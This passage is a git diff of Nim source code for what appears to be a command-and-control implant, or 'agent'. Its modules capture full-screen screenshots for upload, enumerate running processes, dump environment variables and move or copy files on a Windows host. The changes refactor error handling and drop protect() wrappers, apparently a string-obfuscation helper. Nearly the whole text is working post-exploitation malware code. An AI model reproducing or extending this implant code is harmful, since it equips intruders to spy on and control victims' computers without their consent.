@@ when defined(agent): try: if MoveFile(lpExistingFileName, lpNewFileName) == FALSE: - raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).") + raise newException(CatchableError, GetLastError().getError()) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) @@ -363,7 +363,7 @@ when defined(agent): try: # Copy file to new location, overwrite if a file with the same name already exists if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE: - raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).") + raise newException(CatchableError, GetLastError().getError()) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) diff --git a/src/modules/screenshot.nim b/src/modules/screenshot.nim index 0b66402..11cfa30 100644 --- a/src/modules/screenshot.nim +++ b/src/modules/screenshot.nim @@ -83,17 +83,17 @@ when defined(agent): # Obtain handle to the device context for the entire screen deviceCtx = GetDC(0) if deviceCtx == 0: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) defer: ReleaseDC(0, deviceCtx) # Fetch BITMAP structure using GetCurrentObject and GetObjectW gdiCurrent = GetCurrentObject(deviceCtx, OBJ_BITMAP) if gdiCurrent == 0: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) defer: DeleteObject(gdiCurrent) if GetObjectW(gdiCurrent, ULONG(sizeof(BITMAP)), addr desktop) == 0: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) # Construct BMP headers # Calculate amount of bits required to represent screenshot @@ -114,13 +114,13 @@ when defined(agent): screenshotLength = bmpFileHeader.bfSize screenshotBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotLength) if screenshotBytes == NULL: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotBytes) # Assembly the bitmap image memDeviceCtx = CreateCompatibleDC(deviceCtx) if memDeviceCtx == 0: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) defer: ReleaseDC(0, memDeviceCtx) # Initialize BITMAPINFO with prepared info header @@ -128,12 +128,12 @@ when defined(agent): bmpSection = CreateDIBSection(deviceCtx, addr bmpInfo, DIB_RGB_COLORS, addr bitsBuffer, cast[HANDLE](NULL), 0) if bmpSection == 0 or bitsBuffer == NULL: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) # Select the newly created bitmap into the memory device context gdiObject = SelectObject(memDeviceCtx, bmpSection) if gdiObject == 0: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) defer: DeleteObject(gdiObject) # Copy the screen content from the source device context to the memory device context @@ -145,7 +145,7 @@ when defined(agent): resX, resY, # Source coordinates SRCCOPY # Copy source directly to destination ) == 0: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) # Return the screenshot as a seq[byte] result = newSeq[byte](screenshotLength) @@ -156,7 +156,7 @@ when defined(agent): proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult = try: - print protect(" [>] Taking and uploading screenshot.") + print " [>] Taking and uploading screenshot." let screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg" diff --git a/src/modules/systeminfo.nim b/src/modules/systeminfo.nim index 0ed091c..078037b 100644 --- a/src/modules/systeminfo.nim +++ b/src/modules/systeminfo.nim @@ -52,7 +52,7 @@ when defined(agent): proc executePs(ctx: AgentCtx, task: Task): TaskResult = - print protect(" [>] Listing running processes.") + print " [>] Listing running processes." try: var processes: seq[DWORD] = @[] @@ -62,7 +62,7 @@ when defined(agent): # Take a snapshot of running processes let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) if hSnapshot == INVALID_HANDLE_VALUE: - raise newException(CatchableError, protect("Invalid permissions.")) + raise newException(CatchableError, GetLastError().getError) # Close handle after object is no longer used defer: CloseHandle(hSnapshot) @@ -72,7 +72,7 @@ when defined(agent): # Loop over processes to fill the map if Process32First(hSnapshot, addr pe32) == FALSE: - raise newException(CatchableError, protect("Failed to get processes.")) + raise newException(CatchableError, GetLastError().getError) while true: var procInfo = ProcessInfo( @@ -126,7 +126,7 @@ when defined(agent): proc executeEnv(ctx: AgentCtx, task: Task): TaskResult = - print protect(" [>] Displaying environment variables.") + print " [>] Displaying environment variables." try: var output: string = ""